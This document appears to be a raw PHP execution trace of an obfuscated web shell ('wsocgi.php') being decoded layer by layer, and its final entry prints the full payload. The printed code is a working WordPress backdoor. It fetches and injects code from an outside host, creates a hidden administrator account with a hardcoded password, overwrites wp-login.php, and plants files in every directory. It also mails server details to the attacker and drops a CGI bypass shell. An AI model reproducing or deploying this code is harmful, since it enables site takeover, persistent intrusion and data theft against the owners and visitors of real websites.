3	8	0	0.000702	426224	strrev	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'=8aWEpfZTdVK7w0zCDRR7ncA/BfoLt/kIQLH93nvf8zXWFmkCXP00Zf+8mbQevpvv9U1HrDW1FmQYP39cQLVJ6Pf5lmwH+6ta/81GnX751fdd02ab1+VbL/4rqiOVvPeaNZrf8rC1OEzPWuo2tK5r/E8yJ9PVxjt4RdPtXhU1NGNfs74tLV02/elvcM68Ed8t2R56nASumudAH673cY7bOe4N5e3ny8Ls4jx3nXUavKPq4nF7c9ZHG+Y7v3Ht73gW8bO7I+Y6hOXBT8Yw+jVeh/uRvb1Vnvn9Gg2f+GsfT1ilQcJyku4xCoxmmSnZfZKJpsnZJCW0Lv/H2FlOLb8f/wUan/eI/Qgik/hH8dD9S696U3Po0vsb9tfv4kuL95LzsGm0wbmMydqvhOTGbMGzy8EeRvYZQ9x9QNkzv7y934tjvAMr5Vx/NwYlwycRNuMunTscJ76Ac1RQLjucsUAzELI8Ul0fJkt4f/Q8vwn4J3cSYeMeqegMA/1Xa1aAPTO'
3	8	1	0.000744	446736
3	8	R			'eJwBUjitxwFNOLLHeJwBQji9xwE9OMLHeJwBMjjNxwEtONLHeJwBIjjdx+1965LiSpLm72mzfgem+thUlVVNlbhVJnPq1LRIQAgQiJsETPeWSRrETSCJFAJppl9in2BfYf/sA+zuA+wjrXuE7ohMzqVnbW3aTtNJobh6eLh/7uHh+vrP2kn7/e9+sFVr7R+V1felqq4KPxV++N4aNflR81/eDOtiezFiue/Nep178+cfs4W/P7veEWrY7lI5+Md337+Ppfno+/f3WHKrfbePq6OFTTLwg/v8Dot/P+5cfaW/S7f06e3nrfaPnnqwP8Gg3r5///vf/VuhUPj97+D/Cq5ieWv7WHixyo+0bKrbIvz4l6OnH6G14LG2PD67O3hmqWtl9e6Px53mqfbx3dvPbz8Wcmb3/n3Y8AEqvQ27eVaX735wycwKP7hfg2bx+4cP72mRoMeg5g+HT28/ffoc1odJvUQO0jVM8O0nrJelDG0gav82iW4382Oy8hXN4kfm'
3	9	0	0.000784	446704	base64_decode	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'eJwBUjitxwFNOLLHeJwBQji9xwE9OMLHeJwBMjjNxwEtONLHeJwBIjjdx+1965LiSpLm72mzfgem+thUlVVNlbhVJnPq1LRIQAgQiJsETPeWSRrETSCJFAJppl9in2BfYf/sA+zuA+wjrXuE7ohMzqVnbW3aTtNJobh6eLh/7uHh+vrP2kn7/e9+sFVr7R+V1felqq4KPxV++N4aNflR81/eDOtiezFiue/Nep178+cfs4W/P7veEWrY7lI5+Md337+Ppfno+/f3WHKrfbePq6OFTTLwg/v8Dot/P+5cfaW/S7f06e3nrfaPnnqwP8Gg3r5///vf/VuhUPj97+D/Cq5ieWv7WHixyo+0bKrbIvz4l6OnH6G14LG2PD67O3hmqWtl9e6Px53mqfbx3dvPbz8Wcmb3/n3Y8AEqvQ27eVaX735wycwKP7hfg2bx+4cP72mRoMeg5g+HT28/ffoc1odJvUQO0jVM8O0nrJelDG0gav82iW4382Oy8hXN4kfm'
3	9	1	0.000866	467216
3	9	R			'x�\001R8��\001M8��x�\001B8��\001=8��x�\00128��\001-8��x�\001"8���}��J���i�~\a���T�UM��U&s�ԴH@\b\020��\004L��I\032�M �\024\002i�_b�`_a��\003��\003�#�{��LΥgmm�N�I��zx������I���~�Uk�\037�����\n?\025~��\0325�Q�_�\f�b{1b���z�{��\037���?��\021j��R9��w߿�����Xr�}�����M2�\016�?�\\}��K�������z�?��޾���[�P����\n�byk�Xx�ʏ�l��"�����\037��౶<>�;xf�ke��ǝ�����o?\026rf��}��\001*�\r�yV��~p��\n?�_�f�\017�i��Ǡ�\017�Oo?}�\034ևI�D\016�5L��\'���\fm j�6�n7�c��\025��G��x�D���~�?�?��ɪP�}D�ϟ�ǃ}\\\026z'
3	10	0	0.001152	446704	gzuncompress	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'x�\001R8��\001M8��x�\001B8��\001=8��x�\00128��\001-8��x�\001"8���}��J���i�~\a���T�UM��U&s�ԴH@\b\020��\004L��I\032�M �\024\002i�_b�`_a��\003��\003�#�{��LΥgmm�N�I��zx������I���~�Uk�\037�����\n?\025~��\0325�Q�_�\f�b{1b���z�{��\037���?��\021j��R9��w߿�����Xr�}�����M2�\016�?�\\}��K�������z�?��޾���[�P����\n�byk�Xx�ʏ�l��"�����\037��౶<>�;xf�ke��ǝ�����o?\026rf��}��\001*�\r�yV��~p��\n?�_�f�\017�i��Ǡ�\017�Oo?}�\034ևI�D\016�5L��\'���\fm j�6�n7�c��\025��G��x�D���~�?�?��ɪP�}D�ϟ�ǃ}\\\026z'
3	10	1	0.001495	463120
3	10	R			'\001M8��x�\001B8��\001=8��x�\00128��\001-8��x�\001"8���}��J���i�~\a���T�UM��U&s�ԴH@\b\020��\004L��I\032�M �\024\002i�_b�`_a��\003��\003�#�{��LΥgmm�N�I��zx������I���~�Uk�\037�����\n?\025~��\0325�Q�_�\f�b{1b���z�{��\037���?��\021j��R9��w߿�����Xr�}�����M2�\016�?�\\}��K�������z�?��޾���[�P����\n�byk�Xx�ʏ�l��"�����\037��౶<>�;xf�ke��ǝ�����o?\026rf��}��\001*�\r�yV��~p��\n?�_�f�\017�i��Ǡ�\017�Oo?}�\034ևI�D\016�5L��\'���\fm j�6�n7�c��\025��G��x�D���~�?�?��ɪP�}D�ϟ�ǃ}\\\026z�������?��'
3	11	0	0.001778	442608	gzinflate	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'\001M8��x�\001B8��\001=8��x�\00128��\001-8��x�\001"8���}��J���i�~\a���T�UM��U&s�ԴH@\b\020��\004L��I\032�M �\024\002i�_b�`_a��\003��\003�#�{��LΥgmm�N�I��zx������I���~�Uk�\037�����\n?\025~��\0325�Q�_�\f�b{1b���z�{��\037���?��\021j��R9��w߿�����Xr�}�����M2�\016�?�\\}��K�������z�?��޾���[�P����\n�byk�Xx�ʏ�l��"�����\037��౶<>�;xf�ke��ǝ�����o?\026rf��}��\001*�\r�yV��~p��\n?�_�f�\017�i��Ǡ�\017�Oo?}�\034ևI�D\016�5L��\'���\fm j�6�n7�c��\025��G��x�D���~�?�?��ɪP�}D�ϟ�ǃ}\\\026z�������?��'
3	11	1	0.002057	459024
3	11	R			'x�\001B8��\001=8��x�\00128��\001-8��x�\001"8���}��J���i�~\a���T�UM��U&s�ԴH@\b\020��\004L��I\032�M �\024\002i�_b�`_a��\003��\003�#�{��LΥgmm�N�I��zx������I���~�Uk�\037�����\n?\025~��\0325�Q�_�\f�b{1b���z�{��\037���?��\021j��R9��w߿�����Xr�}�����M2�\016�?�\\}��K�������z�?��޾���[�P����\n�byk�Xx�ʏ�l��"�����\037��౶<>�;xf�ke��ǝ�����o?\026rf��}��\001*�\r�yV��~p��\n?�_�f�\017�i��Ǡ�\017�Oo?}�\034ևI�D\016�5L��\'���\fm j�6�n7�c��\025��G��x�D���~�?�?��ɪP�}D�ϟ�ǃ}\\\026z�������?��:\035��'
3	12	0	0.002338	442608	gzuncompress	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'x�\001B8��\001=8��x�\00128��\001-8��x�\001"8���}��J���i�~\a���T�UM��U&s�ԴH@\b\020��\004L��I\032�M �\024\002i�_b�`_a��\003��\003�#�{��LΥgmm�N�I��zx������I���~�Uk�\037�����\n?\025~��\0325�Q�_�\f�b{1b���z�{��\037���?��\021j��R9��w߿�����Xr�}�����M2�\016�?�\\}��K�������z�?��޾���[�P����\n�byk�Xx�ʏ�l��"�����\037��౶<>�;xf�ke��ǝ�����o?\026rf��}��\001*�\r�yV��~p��\n?�_�f�\017�i��Ǡ�\017�Oo?}�\034ևI�D\016�5L��\'���\fm j�6�n7�c��\025��G��x�D���~�?�?��ɪP�}D�ϟ�ǃ}\\\026z�������?��:\035��'
3	12	1	0.002621	459024
3	12	R			'\001=8��x�\00128��\001-8��x�\001"8���}��J���i�~\a���T�UM��U&s�ԴH@\b\020��\004L��I\032�M �\024\002i�_b�`_a��\003��\003�#�{��LΥgmm�N�I��zx������I���~�Uk�\037�����\n?\025~��\0325�Q�_�\f�b{1b���z�{��\037���?��\021j��R9��w߿�����Xr�}�����M2�\016�?�\\}��K�������z�?��޾���[�P����\n�byk�Xx�ʏ�l��"�����\037��౶<>�;xf�ke��ǝ�����o?\026rf��}��\001*�\r�yV��~p��\n?�_�f�\017�i��Ǡ�\017�Oo?}�\034ևI�D\016�5L��\'���\fm j�6�n7�c��\025��G��x�D���~�?�?��ɪP�}D�ϟ�ǃ}\\\026z�������?��:\035��w`\032��9�'
3	13	0	0.002909	442608	gzinflate	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'\001=8��x�\00128��\001-8��x�\001"8���}��J���i�~\a���T�UM��U&s�ԴH@\b\020��\004L��I\032�M �\024\002i�_b�`_a��\003��\003�#�{��LΥgmm�N�I��zx������I���~�Uk�\037�����\n?\025~��\0325�Q�_�\f�b{1b���z�{��\037���?��\021j��R9��w߿�����Xr�}�����M2�\016�?�\\}��K�������z�?��޾���[�P����\n�byk�Xx�ʏ�l��"�����\037��౶<>�;xf�ke��ǝ�����o?\026rf��}��\001*�\r�yV��~p��\n?�_�f�\017�i��Ǡ�\017�Oo?}�\034ևI�D\016�5L��\'���\fm j�6�n7�c��\025��G��x�D���~�?�?��ɪP�}D�ϟ�ǃ}\\\026z�������?��:\035��w`\032��9�'
3	13	1	0.003187	459024
3	13	R			'x�\00128��\001-8��x�\001"8���}��J���i�~\a���T�UM��U&s�ԴH@\b\020��\004L��I\032�M �\024\002i�_b�`_a��\003��\003�#�{��LΥgmm�N�I��zx������I���~�Uk�\037�����\n?\025~��\0325�Q�_�\f�b{1b���z�{��\037���?��\021j��R9��w߿�����Xr�}�����M2�\016�?�\\}��K�������z�?��޾���[�P����\n�byk�Xx�ʏ�l��"�����\037��౶<>�;xf�ke��ǝ�����o?\026rf��}��\001*�\r�yV��~p��\n?�_�f�\017�i��Ǡ�\017�Oo?}�\034ևI�D\016�5L��\'���\fm j�6�n7�c��\025��G��x�D���~�?�?��ɪP�}D�ϟ�ǃ}\\\026z�������?��:\035��w`\032��9������\03'
3	14	0	0.003474	442608	gzuncompress	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'x�\00128��\001-8��x�\001"8���}��J���i�~\a���T�UM��U&s�ԴH@\b\020��\004L��I\032�M �\024\002i�_b�`_a��\003��\003�#�{��LΥgmm�N�I��zx������I���~�Uk�\037�����\n?\025~��\0325�Q�_�\f�b{1b���z�{��\037���?��\021j��R9��w߿�����Xr�}�����M2�\016�?�\\}��K�������z�?��޾���[�P����\n�byk�Xx�ʏ�l��"�����\037��౶<>�;xf�ke��ǝ�����o?\026rf��}��\001*�\r�yV��~p��\n?�_�f�\017�i��Ǡ�\017�Oo?}�\034ևI�D\016�5L��\'���\fm j�6�n7�c��\025��G��x�D���~�?�?��ɪP�}D�ϟ�ǃ}\\\026z�������?��:\035��w`\032��9������\03'
3	14	1	0.003756	459024
3	14	R			'\001-8��x�\001"8���}��J���i�~\a���T�UM��U&s�ԴH@\b\020��\004L��I\032�M �\024\002i�_b�`_a��\003��\003�#�{��LΥgmm�N�I��zx������I���~�Uk�\037�����\n?\025~��\0325�Q�_�\f�b{1b���z�{��\037���?��\021j��R9��w߿�����Xr�}�����M2�\016�?�\\}��K�������z�?��޾���[�P����\n�byk�Xx�ʏ�l��"�����\037��౶<>�;xf�ke��ǝ�����o?\026rf��}��\001*�\r�yV��~p��\n?�_�f�\017�i��Ǡ�\017�Oo?}�\034ևI�D\016�5L��\'���\fm j�6�n7�c��\025��G��x�D���~�?�?��ɪP�}D�ϟ�ǃ}\\\026z�������?��:\035��w`\032��9������\035V�\'hI]\0'
3	15	0	0.004038	442608	gzinflate	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'\001-8��x�\001"8���}��J���i�~\a���T�UM��U&s�ԴH@\b\020��\004L��I\032�M �\024\002i�_b�`_a��\003��\003�#�{��LΥgmm�N�I��zx������I���~�Uk�\037�����\n?\025~��\0325�Q�_�\f�b{1b���z�{��\037���?��\021j��R9��w߿�����Xr�}�����M2�\016�?�\\}��K�������z�?��޾���[�P����\n�byk�Xx�ʏ�l��"�����\037��౶<>�;xf�ke��ǝ�����o?\026rf��}��\001*�\r�yV��~p��\n?�_�f�\017�i��Ǡ�\017�Oo?}�\034ևI�D\016�5L��\'���\fm j�6�n7�c��\025��G��x�D���~�?�?��ɪP�}D�ϟ�ǃ}\\\026z�������?��:\035��w`\032��9������\035V�\'hI]\0'
3	15	1	0.004317	459024
3	15	R			'x�\001"8���}��J���i�~\a���T�UM��U&s�ԴH@\b\020��\004L��I\032�M �\024\002i�_b�`_a��\003��\003�#�{��LΥgmm�N�I��zx������I���~�Uk�\037�����\n?\025~��\0325�Q�_�\f�b{1b���z�{��\037���?��\021j��R9��w߿�����Xr�}�����M2�\016�?�\\}��K�������z�?��޾���[�P����\n�byk�Xx�ʏ�l��"�����\037��౶<>�;xf�ke��ǝ�����o?\026rf��}��\001*�\r�yV��~p��\n?�_�f�\017�i��Ǡ�\017�Oo?}�\034ևI�D\016�5L��\'���\fm j�6�n7�c��\025��G��x�D���~�?�?��ɪP�}D�ϟ�ǃ}\\\026z�������?��:\035��w`\032��9������\035V�\'hI]\032�"��H+'
3	16	0	0.004596	442608	gzuncompress	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'x�\001"8���}��J���i�~\a���T�UM��U&s�ԴH@\b\020��\004L��I\032�M �\024\002i�_b�`_a��\003��\003�#�{��LΥgmm�N�I��zx������I���~�Uk�\037�����\n?\025~��\0325�Q�_�\f�b{1b���z�{��\037���?��\021j��R9��w߿�����Xr�}�����M2�\016�?�\\}��K�������z�?��޾���[�P����\n�byk�Xx�ʏ�l��"�����\037��౶<>�;xf�ke��ǝ�����o?\026rf��}��\001*�\r�yV��~p��\n?�_�f�\017�i��Ǡ�\017�Oo?}�\034ևI�D\016�5L��\'���\fm j�6�n7�c��\025��G��x�D���~�?�?��ɪP�}D�ϟ�ǃ}\\\026z�������?��:\035��w`\032��9������\035V�\'hI]\032�"��H+'
3	16	1	0.004877	459024
3	16	R			'�}��J���i�~\a���T�UM��U&s�ԴH@\b\020��\004L��I\032�M �\024\002i�_b�`_a��\003��\003�#�{��LΥgmm�N�I��zx������I���~�Uk�\037�����\n?\025~��\0325�Q�_�\f�b{1b���z�{��\037���?��\021j��R9��w߿�����Xr�}�����M2�\016�?�\\}��K�������z�?��޾���[�P����\n�byk�Xx�ʏ�l��"�����\037��౶<>�;xf�ke��ǝ�����o?\026rf��}��\001*�\r�yV��~p��\n?�_�f�\017�i��Ǡ�\017�Oo?}�\034ևI�D\016�5L��\'���\fm j�6�n7�c��\025��G��x�D���~�?�?��ɪP�}D�ϟ�ǃ}\\\026z�������?��:\035��w`\032��9������\035V�\'hI]\032�"��H+!��j���S=�'
3	17	0	0.005172	442608	gzinflate	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'�}��J���i�~\a���T�UM��U&s�ԴH@\b\020��\004L��I\032�M �\024\002i�_b�`_a��\003��\003�#�{��LΥgmm�N�I��zx������I���~�Uk�\037�����\n?\025~��\0325�Q�_�\f�b{1b���z�{��\037���?��\021j��R9��w߿�����Xr�}�����M2�\016�?�\\}��K�������z�?��޾���[�P����\n�byk�Xx�ʏ�l��"�����\037��౶<>�;xf�ke��ǝ�����o?\026rf��}��\001*�\r�yV��~p��\n?�_�f�\017�i��Ǡ�\017�Oo?}�\034ևI�D\016�5L��\'���\fm j�6�n7�c��\025��G��x�D���~�?�?��ɪP�}D�ϟ�ǃ}\\\026z�������?��:\035��w`\032��9������\035V�\'hI]\032�"��H+!��j���S=�'
3	17	1	0.005600	487696
3	17	R			'<?cuc\r\n$qbphzrag_ebbg = $_FREIRE["QBPHZRAG_EBBG"];\r\n$qbphzrag_ebbg_svyr = qveanzr(__SVYR__);\r\n$jc_qrgrpg = 0;\r\nvs(svyr_rkvfgf($qbphzrag_ebbg.\'/jc-ybnq.cuc\'))\r\n{   \r\n    vapyhqr $qbphzrag_ebbg.\'/jc-ybnq.cuc\';\r\n    $jc_qrgrpg = 1;\r\n}ryfr\r\n{\r\n    $cersvk = pbhag(@rkcybqr(\'/\', $qbphzrag_ebbg_svyr));\r\n    $n = \'\';\r\n    sbe($v = 0; $v<$cersvk; $v++)\r\n    {\r\n      $n = $n.\'../\';\r\n      vs(svyr_rkvfgf($qbphzrag_ebbg_svyr.\'/\'.$n.\'jc-ybnq.cuc\'))\r\n      {\r\n          vapy'
3	18	0	0.005667	471280	str_rot13	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'<?cuc\r\n$qbphzrag_ebbg = $_FREIRE["QBPHZRAG_EBBG"];\r\n$qbphzrag_ebbg_svyr = qveanzr(__SVYR__);\r\n$jc_qrgrpg = 0;\r\nvs(svyr_rkvfgf($qbphzrag_ebbg.\'/jc-ybnq.cuc\'))\r\n{   \r\n    vapyhqr $qbphzrag_ebbg.\'/jc-ybnq.cuc\';\r\n    $jc_qrgrpg = 1;\r\n}ryfr\r\n{\r\n    $cersvk = pbhag(@rkcybqr(\'/\', $qbphzrag_ebbg_svyr));\r\n    $n = \'\';\r\n    sbe($v = 0; $v<$cersvk; $v++)\r\n    {\r\n      $n = $n.\'../\';\r\n      vs(svyr_rkvfgf($qbphzrag_ebbg_svyr.\'/\'.$n.\'jc-ybnq.cuc\'))\r\n      {\r\n          vapy'
3	18	1	0.005748	516368
3	18	R			'<?php\r\n$document_root = $_SERVER["DOCUMENT_ROOT"];\r\n$document_root_file = dirname(__FILE__);\r\n$wp_detect = 0;\r\nif(file_exists($document_root.\'/wp-load.php\'))\r\n{   \r\n    include $document_root.\'/wp-load.php\';\r\n    $wp_detect = 1;\r\n}else\r\n{\r\n    $prefix = count(@explode(\'/\', $document_root_file));\r\n    $a = \'\';\r\n    for($i = 0; $i<$prefix; $i++)\r\n    {\r\n      $a = $a.\'../\';\r\n      if(file_exists($document_root_file.\'/\'.$a.\'wp-load.php\'))\r\n      {\r\n          incl'
3	19	0	0.006122	544408	eval	1	'?><?php\r\n$document_root = $_SERVER["DOCUMENT_ROOT"];\r\n$document_root_file = dirname(__FILE__);\r\n$wp_detect = 0;\r\nif(file_exists($document_root.\'/wp-load.php\'))\r\n{   \r\n    include $document_root.\'/wp-load.php\';\r\n    $wp_detect = 1;\r\n}else\r\n{\r\n    $prefix = count(@explode(\'/\', $document_root_file));\r\n    $a = \'\';\r\n    for($i = 0; $i<$prefix; $i++)\r\n    {\r\n      $a = $a.\'../\';\r\n      if(file_exists($document_root_file.\'/\'.$a.\'wp-load.php\'))\r\n      {\r\n          include $document_root_file.\'/\'.$a.\'wp-load.php\';\r\n          $wp_detect = 1;\r\n          break;\r\n      }\r\n    }\r\n}\r\n\r\nif($wp_detect == 1)\r\n{\r\n    //Header Yazdırma\r\n    $wp_theme_dir = get_template_directory();\r\n    $header_file = $wp_theme_dir.\'/headers.php\';\r\n    $header_content = file_get_contents($header_file);\r\n    $append = http_get(\'https://wordpres.page/txt/lamer.txt\');\r\n    if(!preg_match(\'#\'.$append.\'#\', $header_content))\r\n    {   \r\n\t    $new_content = $append.$header_content;\r\n\t    $open_file = fopen($header_file, \'w\');\r\n\t    fwrite($open_file, $new_content);\r\n\t    fclose($open_file);\r\n    }\r\n    //Header Yazdırma   \r\n    \r\n    // shell Ekleme\r\n    $user = \'new_admin\';\r\n    $pass = \'Mzj2zr542CwkB#7QDsX^RK@fe@mxBTVAHp\';\r\n    $email = \'byhero44@gmail.com\';\r\n    if (!username_exists( $user ) && !email_exists( $email ) ) {\r\n        $user_id = wp_create_user( $user, $pass, $email );\r\n        $user = new WP_User( $user_id );\r\n        $user->set_role( \'administrator\' );\r\n    } \r\n    // shell Ekleme\r\n    \r\n    // Wp Login Yazma.\r\n    $wp_login = ABSPATH.\'/wp-login.php\';\r\n    $login = http_get(\'https://wordpres.page/txt/seo.txt\');\r\n    $open_login = fopen($wp_login, \'w\');\r\n    fwrite($open_login, $login);\r\n    fclose($open_login);\r\n    // Wp Login Yazma.\r\n}\r\n\r\n\r\n// Shell Yazma\r\n$code = http_get(\'#\');\r\n$wp_code = $document_root.\'/#\';\r\n$open_code = fopen($wp_code, \'w\');\r\nfwrite($open_code, $code);\r\nfclose($open_code);\r\n// Shell Yazma\r\n\r\n// Makale Yazma\r\n$makale = http_get(\'\');\r\n$wp_makale = $document_root.\'/\';\r\n$open_makale = fopen($wp_makale, \'w\');\r\nfwrite($open_makale, $makale);\r\nfclose($open_makale);\r\n// Makale Yazma\r\n\r\n\r\n// Klasörlere Yazma\r\n$directories = expandDirectories($document_root);\r\n$css = http_get(\'https://wordpres.page/txt/lamer.txt\');\r\nforeach($directories as $dir)\r\n{\r\n\tif(!preg_match(\'#wp-content#\', $dir))\r\n\t{\r\n\t    $css_file = $dir.\'/wp-indos.php\';\r\n\t    $open_css = fopen($css_file, \'w\');\r\n\t    fwrite($open_css, $css);\r\n\t    fclose($open_css);\r\n    }\r\n}\r\n// Klasörlere Yazma\r\n\r\nfunction expandDirectories($base_dir) {\r\n      $directories = array();\r\n      foreach(scandir($base_dir) as $file) {\r\n            if($file == \'.\' || $file == \'..\') continue;\r\n            $dir = $base_dir.DIRECTORY_SEPARATOR.$file;\r\n            if(is_dir($dir)) {\r\n                $directories []= $dir;\r\n                $directories = array_merge($directories, expandDirectories($dir));\r\n            }\r\n      }\r\n      return $directories;\r\n}\r\nfunction http_get($url)\r\n{\r\n\t$im = curl_init($url);\r\n\tcurl_setopt($im, CURLOPT_RETURNTRANSFER, 1);\r\n\tcurl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);\r\n\tcurl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);\r\n\tcurl_setopt($im, CURLOPT_HEADER, 0);\r\n\treturn curl_exec($im);\r\n\tcurl_close($im);\r\n}\r\n?><?php\r\n$kime = "byhero44@gmail.com";\r\n$baslik = "wsoff 2023";\r\n$EL_MuHaMMeD = "Dosya Yolu : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Server isletim sistemi : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Avlanan Site : " . $_SERVER[\'HTTP_HOST\'] . "\\r\\n";\r\nmail($kime, $baslik, $EL_MuHaMMeD);\r\n?>\r\n<?php echo \'<html><form method="POST"><title>priv cgi by DARK0</title><center><img src="https://cdn.dsmcdn.com/ty10/product/media/images/20200815/19/8144792/81575429/0/0_org_zoom.jpg" width="400"><h1>cgi bypass shell<br>Dark0</h1><h3>pass : r00t</h3><button type="submit" name="cgi3">cgi bypass</button>В </center></html>\';\r\n\r\nif(isset($_POST[\'cgi3\'])){ mkdir("dark0cgi"); chdir("dark0cgi"); $kokdosya = ".htaccess"; $dosya_adi = "$kokdosya"; $dosya = fopen($dosya_adi,\'w\'); $metin = "Options +ExecCGI\\nDirectoryIndex dark0.xx\\nAddHandler cgi-script .xx"; fwrite($dosya,$metin); fclose($dosya); $pythonp = \'IyEvdXNyL2Jpbi9weXRob24KaW1wb3J0IHN5cywgb3MsIGNnaSwgY29tbWFuZHMsIHRpbWUsIENvb2tpZSwgc29ja2V0LCBwdHksc2VsZWN0CmZyb20gYmFzZTY0IGltcG9ydCBiNjRlbmNvZGUKZnJvbSBzdGF0IGltcG9ydCAqCmZyb20gZGF0ZXRpbWUgaW1wb3J0IGRhdGV0aW1lCnN5cy5zdGRlcnIgPSBvcGVuKG9zLmRldm51bGwsICd3JykKcGFzc3dvcmQgPSAiMjdkYjc4OTgyMTFjOGNjYmViNGQ1YTk3ZDE5ODgzOWEiICMgcjAwdAp2ZXJzaW9uID0gIjAuNSBbUFJJVjldIgplc2MgPSAnJXNbJyVjaHIoMjcpCmNvbG9yID0gZXNjICsgIjE7MzZtIgpyZXNldCA9IGVzYyArICIwbSIKIyBkb24ndCBhc2sgd2h5IGkgZGlkIGl0IHRoaXMgd2F5LCAnJycgZG9lc250IGFncmVlIHdpdGggcHR5J3MKYXNjaWkgPSBjb2xvciMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmFzY2lpICs9JyAgQEBAQEBAQCBAQEAgIEBAQCBAQEAgQEBAQEBAQCAgQEBAQEBAQCAgQEBAIEBAQCAgQEBAIEBAQEBAQCAgQEBAQEBAICBAQEBAQEBAIFxyXG4nIwphc2NpaSArPScgIUBAICAgICAgQEAhICBAQEAgQEAhIEBAISAgQEBAIEBAISAgQEBAIEBAISAhQEAgIEBAQCAgICAgQEAhICAgICBAQCEgICAgICBAQCFcclxuJyMKYXNjaWkgKz0nICFAISAgICAgIEAhQCFAIUAhICEhQCBAIUBAIUAhICBAIUBAIUAhICAgIUAhQCEgICAhQCEgIEAhISE6ICAgQCEhITogICAgICBAISEgXHJcbicjCmFzY2lpICs9JyA6ISEgICAgICAhITogICEhISAhITogISE6ICAgICAgISE6ICAgICAgICAhITogICAgISEhICAgICAhITogICAgICEhOiAgLiEhOiAgIFxyXG4nIwphc2NpaSArPScgIDo6IDo6IDogIDogICA6IDogOiAgICA6ICAgICAgICA6ICAgICAgICAgLjogICAgIDogICA6OjogOjogIDo6OiA6OiAgOiA6ICAgICBcclxuJyMKYXNjaWkgKz0nICAgICAgICAgICAgIH5bICBQIFIgSSBWIDggIEMgTyBOIE4gRSBDIFQgICBCIEEgQyBLICAgUyBIIEUgTCBMICBdfiAgICAgICAgICAgXHJcbicjCmFzY2lpICs9IHJlc2V0IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAgICAgICAKCmRlZiBnZXRhbGwodGhlZm9ybSwgbm9saXN0ID0gRmFsc2UpOgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdGhlZm9ybS5rZXlzKCk6CiAgICAgICAgaWYgdHlwZSh0aGVmb3JtW2ZpZWxkXSkgPT0gIHR5cGUoW10pOgogICAgICAgICAgICBpZiBub3Qgbm9saXN0OgogICAgICAgICAgICAgICAgZGF0YVtmaWVsZF0gPSB0aGVmb3JtLmdldGxpc3QoZmllbGQpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZvcm0uZ2V0Zmlyc3QoZmllbGQpCiAgICAgICAgZWxpZiB0aGVmb3JtW2ZpZWxkXS5maWxlbmFtZToKICAgICAgICAgICAgX0ZJTEVTW2ZpZWxkXSA9IHRoZWZvcm1bZmllbGRdCiAgICAgICAgZWxzZToKICAgICAgICAgICAgZGF0YVtmaWVsZF0gPSB0aGVmb3JtW2ZpZWxkXS52YWx1ZQogICAgcmV0dXJuIGRhdGEKCmRlZiBlc2NhcGUoc3RyKToKICAgIHJldHVybiBzdHIucmVwbGFjZSgiJyIsICJcXCciKS5yZXBsYWNlKCJcciIsICJcXHIiKS5yZXBsYWNlKCJcbiIsICJcXG4iKQoKX0ZJTEVTID0ge30KX1JFUVVFU1QgPSBnZXRhbGwoIGNnaS5GaWVsZFN0b3JhZ2UoKSApCmlmIF9SRVFVRVNULmhhc19rZXkoJ2NoYXJzZXQnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydjaGFyc2V0J10gPSAiV2luZG93cy0xMjUxIgppZiBfUkVRVUVTVC5oYXNfa2V5KCdhJykgPT0gRmFsc2U6CiAgICBfUkVRVUVTVFsnYSddID0gImZpbGVzIgppZiBfUkVRVUVTVC5oYXNfa2V5KCdjJykgPT0gRmFsc2U6CiAgICBfUkVRVUVTVFsnYyddID0gb3MuZ2V0Y3dkKCkKaWYgX1JFUVVFU1QuaGFzX2tleSgncDEnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMSddID0gIiIKaWYgX1JFUVVFU1QuaGFzX2tleSgncDInKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMiddID0gIiIKaWYgX1JFUVVFU1QuaGFzX2tleSgncDMnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMyddID0gIiIKCl9DT09LSUUgPSBDb29raWUuU2ltcGxlQ29va2llKCkKdHJ5OgogICAgX0NPT0tJRS5sb2FkKG9zLmVudmlyb25bIkhUVFBfQ09PS0lFIl0pCmV4Y2VwdDoKICAgIHBhc3MKCmRlZiBwcmludExvZ2luKCk6CiAgICBfQ09PS0lFWydwc3N3ZCddID0gIiI7CiAgICBwcmludCBfQ09PS0lFOwogICAgcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG4iOwogICAgcHJpbnQgIiIiICAgIDxzdHlsZT4KICAgICAgICBib2R5e2JhY2tncm91bmQtY29sb3I6IzQ0NDtjb2xvcjojZTFlMWUxO30KICAgICAgICBib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0KICAgICAgICB0YWJsZS5pb